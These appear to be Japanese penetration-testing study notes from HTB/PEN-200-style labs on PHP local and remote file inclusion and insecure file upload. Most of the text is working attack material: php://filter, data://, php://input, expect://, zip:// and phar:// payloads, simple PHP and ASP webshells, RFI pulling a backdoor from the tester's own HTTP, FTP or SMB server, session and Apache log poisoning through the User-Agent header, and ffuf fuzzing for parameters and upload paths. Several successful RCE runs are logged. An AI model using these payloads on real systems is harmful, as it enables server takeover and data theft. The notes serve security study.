  * 通常のPHPファイルは実行されてしまうが、これを使うとソースが読めるようになる
  * 主に使うのは `convert.base64-encode`
  * ファイルの内容をBase64にして出力できる

使い方の例

* PHPファイルのソースを読みたいときはこうする
  * `php://filter/read=convert.base64-encode/resource=ファイル名`

例）

* `config.php` のソースコードを読みたいとき：
  * `php://filter/read=convert.base64-encode/resource=config` `php://filter/read=convert.base64-encode/resource=index`       → ソースをbase64化して取得 `php://filter/read=convert.quoted-printable-encode/resource=admin` → 出力形式を変えて読む
  * アプリ側で `.php` が自動で付くので、拡張子なしでOK
* `http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config`

WindowsのXAMPPのApacheのログ : `C:\xampp\apache\logs\`

出力された文字列の処理

* 表示されるのは base64 エンコードされた文字列
  * これを `base64 -d` でデコードすれば中身がわかる

```sh
echo -n 'Base64でエンコードした値' | base64 -d > XXX.php
```

注目ポイント

* ソースコードには以下のような重要情報が含まれることがある
  * データベース接続情報
  * APIキーやトークン
  * 認証・認可の処理ロジック
  * 他のファイルの読み込み先

**PHP ラッパー**

PHPラッパーって？

* PHP独自のストリームスキームで、ファイルや入力に処理を加えられる
  * `php://filter` → ソースコードをbase64で取得
  * `data://` → base64で渡したPHPコードを実行できる（要設定）

PHP設定ファイルの場所

* Apache：`/etc/php/X.Y/apache2/php.ini`
* Nginx：`/etc/php/X.Y/fpm/php.ini` （※X.YはPHPのバージョン番号）

```sh
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
```

base64のデコードとallow\_url\_includeが有効かどうか 上の出力のContainersの中身を使う

```sh
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
```

**PHPラッパーでRCE**

**dataラッパーを使った攻撃 #1**

* PHPの設定 `allow_url_include = On` が必要
  * デフォルトではOffなので、LFIで `php.ini` を読んで確認する

1. allow\_url\_includeが有効かどうかを見る

* `php.ini` をLFIで読み取る（base64エンコードして取得）
  * `?=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini`
  * 出力をデコードして `allow_url_include` の値を見る
* 有効なら `data://` ラッパーでRCEが可能！

1. Webシェルをbase64エンコード

* PHPコードをbase64エンコード

```sh
snowyowl644@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
```

2. data://ラッパーとして組み込む

* URLに組み込む

```shell-session
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
```

* 結果：`uid=33(www-data)` が返れば、RCE成功！

攻撃者として見るべきポイント

* `allow_url_include = On` → 攻撃が可能
* 実行結果に `uid=`, `root`, `flag`, `bash` などが含まれていないか
* 実行できるコマンドの範囲（環境制限や制御の有無）

**dataラッパーを使った攻撃 #2** 「dataラッパーを使った攻撃 #1」でうまくいかない時は、この方法も試すべき リクエストパラメータが、末尾が`.php`のものしか、受け取っていない可能性がある

Kali内のwebshellを集めたphpを使用する ここでは、`/usr/share/webshel​​ls/php/simple-backdoor.php`を使用する 中身は、こんな感じ

```sh
└─$ cat /usr/share/webshells/php/simple-backdoor.php     
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

```

1. 自ホストでwebサーバーを立てる

```sh
┌──(kali㉿kali)-[~/Desktop/PEN-200]
└─$ cd /usr/share/webshells/php/                   

┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ python -m http.server 8888                             
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...


```

2. SSRFとPHP filterの脆弱性を使用して、RFIを行う

```sh
curl 'http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.218:8888/simple-backdoor.php&cmd=id' -s | grep uid

<SNIP>
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data),27(sudo)
<SNIP>
```

**inputラッパーを使った攻撃**

* input ラッパーも data ラッパーと似ていて、外部のPHPコードをインクルードして実行できる
* 違いは、コードをPOSTリクエストの本文に含めて送る点
* この攻撃には、対象のパラメータがPOSTリクエストを受け付けることが前提
* また、allow\_url\_include の設定も必要

webシェルをPOSTリクエストで送信する

```shell-session
snowyowl644@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
```

* php\://input により、POSTのボディ内のPHPコードが実行される

**expectラッパーを使った攻撃**

* expect ラッパーは、URL経由でコマンドを直接実行できるラッパー
* Webシェルを送る必要すらなく、コマンドをそのまま指定できる
* ただしこれは標準では無効で、サーバ側で expect モジュールが有効になっている必要がある

expect モジュールが有効か確認 前と同じように、php.ini をbase64で取得・デコードし、expect が含まれているか確認する

```shell-session
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
```

* extension=expect が確認できれば、expect:// ラッパーが使える！

expectでコマンド実行

```shell-session
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
```

まとめるとこんな感じ

| **ラッパー**     | **コマンド送信方法** | **メリット**                | **条件**                          |
| ------------ | ------------ | ----------------------- | ------------------------------- |
| data://      | GET          | シンプルなWebシェルで柔軟に操作可能     | allow\_url\_include = On        |
| php\://input | POST         | ソースコードに直接PHP送信できる       | POST受付＋allow\_url\_include = On |
| expect://    | URL          | コマンド指定だけで実行可能（Webシェル不要） | expectモジュールが有効                  |

## RFI

* 脆弱な関数がリモートURLのインクルードを許可しているときに、リモートファイルインクルージョン（RFI）も可能になる 利点
* ローカル限定のポートやWebアプリケーションを列挙できる（例：SSRF）
* 自分がホストしている悪意のあるスクリプトを読み込ませることで、リモートコード実行が可能になる

RFIが可能な脆弱な関数

| **言語**                      | **関数**                    | **内容読み取り** | **実行** | **リモートURL対応** |
| --------------------------- | ------------------------- | ---------- | ------ | ------------- |
| PHP                         | include()/include\_once() | ✅          | ✅      | ✅             |
| PHP                         | file\_get\_contents()     | ✅          | ❌      | ✅             |
| Java                        | import                    | ✅          | ✅      | ✅             |
| .NET                        | @Html.RemotePartial()     | ✅          | ❌      | ✅             |
| .NET                        | include                   | ✅          | ✅      | ✅             |
| ほとんどのRFI脆弱性はLFI脆弱性でもあるといえる  |                           |            |        |               |
| しかし、LFIの脆弱性が全て、RFIであるわけではない |                           |            |        |               |
| 理由                          |                           |            |        |               |

* 脆弱な関数がリモートURLのインクルードをそもそも許可していない可能性がある
* パスの一部しか制御できず、プロトコル（例：http\://, ftp\://, https\://）を含めて自由に指定できないことがある
* サーバーの設定で、リモートファイルのインクルードが完全に無効化されている（多くの現代的なWebサーバーではこれがデフォルト） 上の表にもあるように、**リモートURLのインクルードはできてもコードの実行ができない関数**も存在する **SSRFを使ったローカルポートやWebサービスの列挙**などで脆弱性を悪用できる場合がある

#### RFIの確認

PHPではリモートファイルのインクルードを有効にするには、allow\_url\_include 設定が On になっている必要がある

allow\_url\_include 設定が On になっているかの確認 これで、ファイルが開けなかったら、Ubuntuのパスだと `/etc/php/7.2/apache2/php.ini` /etc/php/7.4/apache2/php.ini\` だkら、両方試す

```sh
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
```

base64のデコードとallow\_url\_includeが有効かどうか 上の出力のContainersの中身を使う

```sh
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
```

でも、脆弱な関数がリモートURLの読み込みを許可していない場合もあるため、これだけでは判断できないことがある より信頼できる方法としては、**実際にURLをインクルードして、その内容を取得できるかを試す** まず最初に、ローカルのURL（例：<http://127.0.0.1:80/index.php）をインクルードしてみる>

```sh
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
```

#### RFIによるRCE

* RFIでリモートコード実行を行うための最初のステップは、対象のWebアプリケーションと同じ言語（この場合PHP）で悪意あるスクリプトを作成すること
* インターネットから入手したWebシェルやリバースシェルスクリプトを使ってもいいですが、前のセクションと同様に、簡単な自作Webシェルを作る

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

**HTTP** pythonでホスト

```sh
sudo python3 -m http.server <LISTENING_PORT>
```

アクセス

```http
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

**FTP** pythonでホスト

```sh
sudo python -m pyftpdlib -p 21
```

アクセス

```http
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

* PHP はデフォルトで anonymous（匿名）ユーザーとしてFTPに接続を試みる
* もしFTPサーバーが認証を必要とする場合は、次のようにURLにユーザー名とパスワードを埋め込むことができる

```http
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
```

**SMB** 対象のWebアプリケーションが Windowsサーバー上で動いている場合、RFIのために allow\_url\_include の設定を有効にする必要はない 代わりに、SMBプロトコル を利用することでRFIが可能になる

* WindowsがリモートSMBサーバー上のファイルを、ローカルファイルと同様に扱うという特性によるもの

```sh
impacket-smbserver -smb2support share $(pwd)
```

アクセス

```http
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```

#### LFIとファイルアップロード

* もし、脆弱な関数に「コード実行の能力」がある場合、アップロードしたファイル内のコードは、インクルードされたときに拡張子やファイルタイプに関係なく実行される
* たとえば、画像ファイル（例：image.jpg）としてPHPのウェブシェルコードを画像データの代わりに仕込んでアップロードし、それをLFIの脆弱性を通じて読み込ませれば、PHPコードが実行され、リモートコード実行が可能になる

コード実行を伴うファイルインクルージョンが可能な関数

| **言語** | **関数名**                   | **ファイル読み取り** | **ファイル実行** | **リモートURL対応** |
| ------ | ------------------------- | ------------ | ---------- | ------------- |
| PHP    | include()/include\_once() | ✅            | ✅          | ✅             |
| PHP    | require()/require\_once() | ✅            | ✅          | ❌             |
| NodeJS | res.render()              | ✅            | ✅          | ❌             |
| Java   | import                    | ✅            | ✅          | ✅             |
| .NET   | include                   | ✅            | ✅          | ✅             |

画像のアップロードは、ほとんどのモダンなWebアプリケーションで非常に一般的

* なぜなら、画像アップロードはセキュアに実装されていれば安全だと広く考えられているから
* ただし、ここで問題になるのはアップロードフォームの脆弱性ではなく、「ファイルインクルージョン機能」の脆弱性

**悪意のある画像の作成**

* 最初のステップは、PHPウェブシェルのコードを埋め込んだ「見た目は画像」の悪意ある画像を作ること
* つまり、ファイル名には許可された画像拡張子（例：shell.gif）を使い、ファイル内容の先頭には画像のマジックバイト（例：GIF8）を含める必要がある
* アップロード機能がファイル拡張子と内容の両方をチェックしている場合への対策
* このようにして、アップロードと同時にLFI脆弱性を通じてコードを実行できるファイルを準備することができる

```sh
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

* ファイル自体は単体ではまったく無害で、通常のWebアプリケーションに影響を与えることはない
* しかし、LFI脆弱性と組み合わせると、リモートコード実行（RCE）を達成できる可能性がある

GIFにしている理由

* マジックバイト（GIF8）がASCII文字で表現可能なため
* PNGやJPEGなど他の画像形式はマジックバイトがバイナリであるため、URLエンコードが必要になる場合がある
* 作成した悪意ある画像ファイルをアップロードする

**LFIでのRCE**

* ファイルをアップロードしたら、あとはそれをLFI（ローカルファイルインクルージョン）脆弱性を使って読み込むだけ
* **アップロードされたファイルのパス**を知る必要がある
* 多くの場合（特に画像の場合）、アップロード後にその画像へアクセスでき、そのURLからファイルのパスを確認できる
  * 検証とかを使って
* もしアップロード先のパスが分からない場合は、「uploads」などのディレクトリをファズ（fuzz）してみたり、その中でアップロードされたファイル名を探してみる方法もある
* アップロードされたファイルのパスが分かれば、あとはそのパスをLFI脆弱な関数に渡して読み込むだけ

```http
http://example.com/vulnerable.php?page=/profile_images/shell.gif&cmd=whoami
```

このように、LFI脆弱性とアップロード機能を組み合わせることで、リモートコード実行（RCE）を達成することが可能になる

**zipラッパーでのRCE(PHP限定)**

* zip\:// ラッパーを利用することで、ZIPファイル内のPHPコードを実行させることが可能
  * このラッパーはデフォルトで有効になっていないので、常に使えるとは限らない

方法

* まずPHPウェブシェルスクリプトを作成し、それをZIPアーカイブ（ここでは shell.jpg という名前）に圧縮

```sh
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

なんか、うまくいかない時

```php
echo '<?php system("ls -la /"); ?>' > shell.php && zip shell.jpg shell.php
```

* ZIPアーカイブに .jpg 拡張子をつけているのは、画像ファイルに見せかけてアップロードを通すため
* 1部のアップロードフォームではContent-Type（MIMEタイプ）をチェックしてZIPファイルであることを見抜く場合もあり、この手法はZIPのアップロードが許可されている場合に成功率が高くなる

ZIPアーカイブ shell.jpg をアップロードした後、以下のように**zip\:// ラッパーを使用してファイルをインクルード**する

```sh
zip://./profile_images/shell.jpg#shell.php
```

その後、通常どおりコマンドを実行する

* ここで ./profile\_images/ をファイル名の前につけているのは、脆弱なページ（例：index.php）がルートディレクトリに存在しているため、正しい相対パスを指定する必要があるから

```http
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```

**PharファイルでのRCE**

Pharファイルは内部にPHPコードを含むことができて、phar:// でアクセスされたときにコードが評価（実行）される可能性がある

そして攻撃者はこの性質を使って、こうします： 1. .pharファイルを画像に偽装して（例：shell.jpg）アップロード 2. phar://アップロード先パス/shell.jpg/shell.txt としてLFI経由で読み込み 3. 中のPHPコードが実行されて、\*\*リモートコード実行（RCE）\*\*に持ち込む

* phar:// ラッパーを使用してRCEを行う方法

まず以下のPHPスクリプトを shell.php というファイルに書き込む

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
```

* このスクリプトを使って phar ファイルを作成すると、ファイル内に shell.txt というサブファイルが含まれ、そこにPHPのウェブシェルコードが書き込まれる
* このサブファイルを通して、コマンドの送信や実行ができるようになる

ファイルを Phar アーカイブにコンパイルし、拡張子を .jpg に変更して偽装する

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

これで shell.jpg という名前の Phar ファイルが完成する

このファイルをWebアプリケーションにアップロードしたら、以下のように phar:// ラッパーを使ってアクセスする

```http
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

#### ログポイズニング

PHPコードを含むファイルをインクルードすれば、それが実行権限を持つ脆弱な関数によって実行されることがわかる

ログポイズニングの攻撃の概念

* 「自分が制御できるフィールドにPHPコードを書き込み、それがログファイルに記録され（＝ログファイルを汚染／毒する）、そのログファイルをインクルードしてPHPコードを実行する」というもの
* この攻撃を成功させるには、PHPウェブアプリケーションがログファイルに対する読み取り権限を持っている必要がある（これはサーバーによって異なります）。
* 前のセクションと同様に、以下のいずれかの関数が実行権限を持っていれば、これらの攻撃に対して脆弱

| **言語** | **関数**                      | **内容の読み取り** | **実行** | **リモートURL** |
| ------ | --------------------------- | ----------- | ------ | ----------- |
| PHP    | include() / include\_once() | ✅           | ✅      | ✅           |
| PHP    | require() / require\_once() | ✅           | ✅      | ❌           |
| NodeJS | res.render()                | ✅           | ✅      | ❌           |
| Java   | import                      | ✅           | ✅      | ✅           |
| .NET   | include                     | ✅           | ✅      | ✅           |

**PHPセッション・ポイズニング**

* ほとんどのPHPウェブアプリケーションは、PHPSESSIDクッキーを利用しており、バックエンドで特定のユーザー関連データを保持することで、クッキーを通じてユーザー情報を追跡できるようにしている
  * これらは、バックエンドのセッションファイルに保存されている
  * **Linuxでは `/var/lib/php/sessions/`**
  * **Windowsでは `C:\Windows\Temp\` に格納されている**
* このセッションファイルの名前は、自分のPHPSESSIDクッキーの値と一致し、`sess_` プレフィックスが付く
  * 例えば、PHPSESSIDクッキーが `el4ukv0kqbvoirg7nkp4dncpk3` に設定されている場合、ディスク上のファイルのパスは `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3` になる
* PHPセッション・ポイズニング攻撃で最初に行うべきことは、自分のセッションファイル（PHPSESSID）を調査し、そこに自分が制御できるデータが含まれているかどうかを確認すること

まず、自分にPHPSESSIDクッキーが設定されているか確認する ![](https://i.imgur.com/TtC6q2G.png)

* PHPSESSID クッキーの値は `nhhv8i0o6ua4g88bkdl9u1fdsd` であることがわかる
  * このセッションは /var/lib/php/sessions/sess\_nhhv8i0o6ua4g88bkdl9u1fdsd に保存されているはず
* このセッションファイルを **LFI（ローカルファイルインクルード）脆弱性** を使って読み込み、中身を確認してみる

```http
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

セッションファイルには、2つの値が含まれている

* page 選択された言語ページ（ユーザーが制御可能）
* preference 選択された言語（自動的に設定されており、制御不可） ここで重要なのは、page の値は 自分でコントロール可能であること
* これは、?language= パラメータを通じて設定できる

次のステップは、**セッションファイルへのPHPコードの書き込み（=ポイズニング）** 以下のように、?language= パラメータに **URLエンコードされたPHPウェブシェル** を指定して、PHPコードをセッションファイルに書き込む

```url
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

* このリクエストにより、セッションファイルにwebシェルが書き込まれる
* これで、セッションファイルをLFIで読み込むことで、リモートから任意のコマンドを実行できる状態になる

最後に、セッションファイルをインクルードして、コマンドを実行する

```url
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

* 別のコマンドを実行したい場合は、セッションファイルに再度ウェブシェルを仕込む必要がある
* 前回ファイルを読み込んだ後、/var/lib/php/sessions/sess\_nhhv8i0o6ua4g88bkdl9u1fdsd が自動的に上書きされてしまうため

理想的には、この一時的なウェブシェルを使って、以下のような次のステップに進むことが推奨されてる

* ウェブディレクトリ上に永続的なウェブシェルを書き込む
* リバースシェルを送って、よりスムーズにシステムへアクセスできるようにする

**サーバーログ・ポイズニング**

* ApacheやNginxなどのWebサーバーは、access.log や error.log といったさまざまなログファイルを保持している
* 特に access.log には、サーバーへのすべてのリクエストに関する情報（リモートIP、アクセスページ、ステータスコード、User-Agentなど）が記録される
* このうち User-Agentヘッダーはリクエスト側から制御できるため、前述の方法と同様にこの値を使ってログファイルにPHPコードを書き込み、ログを汚染（poison）することが可能

**ステップ1：LFIでログを読み込む**

* ログファイルにPHPコードを書き込んだら、次はそれをLFI（ローカルファイルインクルード）脆弱性を使って読み込む
* このためには、サーバーログに対して読み取り権限が必要
  * Nginx：デフォルトで低権限ユーザー（例：www-data）でもログを読み取り可能
  * Apache：デフォルトでは高権限ユーザー（例：root や adm グループ）のみがアクセス可能
    * ※ただし、古いバージョンや設定ミスがある場合は、低権限ユーザーでも読み取れる場合がある

デフォルトのログファイルのパス ndowsのXAMPPのApacheのログ : `C:\xampp\apache\logs\`

| **OS**  | **Apache**                           | **Nginx**              |
| ------- | ------------------------------------ | ---------------------- |
| Linux   | /var/log/apache2/                    | /var/log/nginx/        |
| Windows | C:\xampp\apache\logs\|C:\nginx\log\| | C:\xampp\apache\logs\\ |

* ログの保存場所が変更されている場合もあるので、次のセクションで説明する「**LFIワードリストによるファズィング**」で場所を探すこともある

**ステップ2：Apacheのaccess.logを読み込んでみる**

* まず、/var/log/apache2/access.log をLFIで読み込んでみる

```url
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
```

**ステップ3：Burp Suiteを使ってログを汚染する**

* User-Agent を変更するには、Burp Suiteを使ってリクエストをキャプチャし、以下のようにカスタムヘッダーを挿入する ![](https://i.imgur.com/fQrjCCQ.png)

**ステップ4：curlを使って汚染することも可能**

```shell-session
 curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
```

これにより、access.log にPHPコードが記録される あとは、LFIを使ってこのログファイルを読み込めば、任意のコマンドを実行できる ![](https://i.imgur.com/QVP8d0p.png)

✅ 成功したRCE手順まとめ（Apache Log Poisoning + LFI）

① PHPコードをApacheログに注入（User-Agentヘッダー）

* コマンド：

  ```bash
  curl -s "http://83.136.252.13:45786/index.php" -A "<?php system(\$_GET['cmd']); ?>"
  ```
* 説明：
  * Apacheの`access.log`にUser-Agentヘッダーが記録される特性を利用
  * ここにPHPコードを仕込んで、後で読み込ませて実行させる

② LFI脆弱性を利用して、ログファイルを読み込ませる

* コマンド：

  ```bash
  curl -s "http://83.136.252.13:45786/index.php?language=/var/log/apache2/access.log&cmd=pwd"
  ```
* 説明：
  * `/var/log/apache2/access.log` をPHPが `include()` する形で読み込む
  * 先ほど仕込んだ `<?php system($_GET['cmd']); ?>` が実行される
  * `cmd=pwd` によってサーバーのカレントディレクトリが出力される

✅ 成功時の出力（pwdの結果）

```
/var/www/html
```

💡 補足Tips

* `\$_GET` のようにバックスラッシュを付けると、シェルエスケープに強い
* Apacheの設定によっては `access.log` が読めないので、`error.log` や `/proc/self/environ` も試す価値あり
* 出力確認用に以下のようなコードも便利：

  ```bash
  curl -s "http://TARGET" -A "<?php echo 'TEST'; ?>"
  ```

🎯 まとめ

```
1. User-Agent にPHPを仕込んでログに記録させる
2. LFIでログを読み込み、コマンドを実行
3. &cmd=xxx で自由にコマンド実行できる
```

これでリモートコード実行（RCE）に成功！

おまけ：/proc ディレクトリを使った応用テクニック

* Linuxの /proc/ ディレクトリ内の一部ファイル（/proc/self/environ や /proc/self/fd/N）にも User-Agent 情報が含まれていることがある
* サーバーログに読み取り権限がない場合でも、これらのファイルにアクセスできれば同様の攻撃が可能
* ※ただし、これらのファイルも高権限でないと読み取れないことが多い

その他のログファイルを狙う 次のようなサービスログも読み取り可能であれば、ログポイズニングの対象になる

* /var/log/sshd.log
* /var/log/mail
* /var/log/vsftpd.log

これらのログにアクセスできる場合は、たとえば

* SSHやFTPにログイン試行 → ユーザー名にPHPコードを仕込む
* メール送信 → メール本文にPHPコードを含める こうしたログがLFIを通じて読み込まれた場合、PHPコードが実行される可能性がある

#### 自動スキャン

自動スキャンってどんなことをするの？

* ファイル名・パラメータを自動で試す
  * 手作業では大変な作業をツールがやってくれる
  * 通るペイロードを見つけたら、それを元に手動調査
* 使用ツール：`ffuf`
  * 高速ファズィングツール（総当たり系）
  * WebアプリのURLに対して多数の値を送信して反応を見る

**LFIスキャンの流れ**

LFIスキャンの流れ（初心者向けステップ） ステップ1：攻撃対象のページを見つける

* まずは動きのあるPHPページ（例：`index.php`）を確認
* URLの末尾に `?page=home` や `?language=en` のようなパラメータがあるか探す
* 何も見つからない場合は、パラメータ名をファズィング（総当たり）で探す

ステップ2：ファズィングで使えるパラメータを探す

* ffufなどで「使えそうなパラメータ名」を片っ端から試す

```shell
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

* 使えるパラメータが見つかると、サイズやステータスコードに変化が現れる

ステップ3：LFIペイロードを投げてみる

* 使えそうなパラメータに、よくあるLFIパスを入れてテストする

```shell
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

* 目的は、サーバ上の機密ファイル（例：`/etc/passwd`）が読み取れるか確認すること

サーバーファイルへのアクセス ステップ7：Webルート（公開ディレクトリ）を探る

* アップロードしたファイルにアクセスしたいけど、相対パスじゃ届かない…
  * 例：`../../uploads/evil.php` ←これがダメな時
* そんな時は、\*\*Webサーバのルートディレクトリ（例：/var/www/html）\*\*を突き止めて、絶対パスでアクセスする
* ffufでよくあるWebルートパスを片っ端から試す：

```shell
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

* 成功例：`/var/www/html/` がヒットしたら、その中にあるファイルが対象になるかも！

ステップ8：設定ファイルやログファイルを狙う

* サーバの内部情報を得るには、設定ファイルやログの読み取りが有効
  * 例：Apache設定 → `/etc/apache2/apache2.conf`
  * 例：アクセスログ → `/var/log/apache2/access.log`
* 方法①：LFI-Jhaddix.txt などのワードリストをそのまま使うんまpー
* 方法②：専用のLinux設定ファイル用ワードリストでファズィング

```shell
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```

出力例（重要なファイルの一部）：

* `/etc/apache2/apache2.conf` ← Apacheの設定ファイル
* `/etc/apache2/envvars` ← 環境変数（ログディレクトリのパスあり）
* `/etc/hostname`, `/etc/login.defs`, `/etc/fstab` なども読めるかも

ステップ9：変数展開の読み解き（手動確認も大事）

* 設定ファイル内に `${APACHE_LOG_DIR}` のような変数があることが多い
* その場合は、変数の中身を探すために `/etc/apache2/envvars` なども読む
* 例：

```shell
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
```

* 出力の中に `export APACHE_LOG_DIR=/var/log/apache2` などが見つかれば、ログファイルの場所も把握できる

ステップ10：情報をつなげて、さらに深掘り

* 読み取った設定やログの内容から、新しい攻撃経路が見つかることもある
  * 例：ログファイルの改ざん（ログポイズニング）
  * 例：アップロードファイルの場所判明 → シェル実行 など
* ツールだけに頼らず、自分で「読んで理解する力」がめちゃくちゃ重要！

おまけ：LFI特化ツールの紹介

* LFIの検出・利用を自動化してくれるツールたち（使う時は自己責任で！）
  * **LFISuite**：多機能なLFIエクスプロイトツール（Python2）
  * **LFiFreak**：軽量・簡易なLFIスキャナ
  * **liffy**：クラシックなLFIスクリプト
* 注意点：
  * 多くがPython2で作られており、今は動作が不安定 or 非推奨
  * 手動での調査＋ffufなどの軽量ツールとの併用が実戦向き
  * GitHubで「LFI scanner」などで検索すると他にも色々出てくる

## File Upload

### バリデーションが欠如している場合

想定 : バリデーションなし

* どんなファイルタイプでもアップロード可能

webフレームワークの特定

* 何で描かれているのかの言語をまず特定する必要がある
* ルーティングで、何を使っているのかがわからない時もあるので、ffufなどでファジングなどを行
  * 上のffufのところで書いてある

脆弱性の特定とテスト

* 任意のPHPが実行されるのかどうかを確認するために、以下のスクリプトをアップロードして、アップロードしたところに触ってみる

```php
<?php echo "Hello HTB"; ?>
```

* 正常に実行された場合は、echo部分だけ出力される
* もしPHPコードが実行されなかった場合は、ソースコードがそのまま表示される

#### webシェル

* PHPの場合、phpbash は優れた選択肢の一つ
  * ターミナル風の半インタラクティブなウェブシェルを提供する

```sh
sudo wget https://github.com/Arrexel/phpbash/raw/refs/heads/master/phpbash.php
```

* SecLists プロジェクトには、さまざまなフレームワークと言語向けのウェブシェルが多くある
* PwnBox 環境では `/opt/useful/seclists/Web-Shells`ディレクトリに保存されている

**自分でシンプルなウェブシェルを書く方法**

PHP

* system() 関数を使ってシステムコマンドを実行・出力できる
* 以下のように `$_REQUEST['cmd']` を通じてパラメータを渡せば、簡単なシェルが作成可能

```php
<?php system($_REQUEST['cmd']); ?>
```

* コードを shell.php に保存し、アプリケーションにアップロードすれば、`?cmd=id` のようにGETパラメータを使ってコマンドを実行できる

.NET

* 拡張子が.asp
* `request('cmd')` を `eval()` に渡すことで、コマンドを実行してその出力を表示できる

```asp
<% eval request('cmd') %>
```

#### ファイルのアップロード先を知るために

ファイル名入れて、アップロード先のディレクトリを探すことが大事 まず、`http://192.168.207.192:8000/<アップロードしたファイル名>`を試すのは前提だけど。(痛い目を見ている)

```sh
┌──(kali㉿kali)-[~/Desktop/PEN-200]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt:DIR \
     -u http://192.168.207.192:8000/DIR/<アップロードしたファイル名> \
     -mc 200,302,403,500

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.207.192:8000/DIR/cmdasp.aspx
 :: Wordlist         : DIR: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,302,403,500
________________________________________________

App_Themes              [Status: 500, Size: 3490, Words: 830, Lines: 83, Duration: 88ms]
app_themes              [Status: 500, Size: 3490, Words: 830, Lines: 83, Duration: 92ms]
